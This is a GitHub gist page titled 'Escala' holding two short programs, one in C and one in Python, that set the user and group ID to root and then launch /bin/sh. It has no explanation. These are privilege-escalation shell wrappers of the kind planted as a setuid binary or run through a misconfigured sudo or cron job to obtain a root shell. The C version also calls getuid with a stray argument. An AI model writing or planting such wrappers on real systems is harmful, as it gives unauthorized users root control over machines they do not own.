Skip to content

Instantly share code, notes, and snippets.

@junquera
Created July 17, 2018 07:50
Show Gist options
  • Select an option

  • Save junquera/7d7e38f6bca5fa22702d8220750ecb4a to your computer and use it in GitHub Desktop.

Select an option

Save junquera/7d7e38f6bca5fa22702d8220750ecb4a to your computer and use it in GitHub Desktop.
Escala
#include <stdio.h>
#include <unistd.h>
void main(){
setuid(0);
getuid(0);
execl("/bin/sh", "sh", 0);
}
import os
from subprocess import call
os.setuid(0)
os.setgid(0)
call("/bin/sh")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment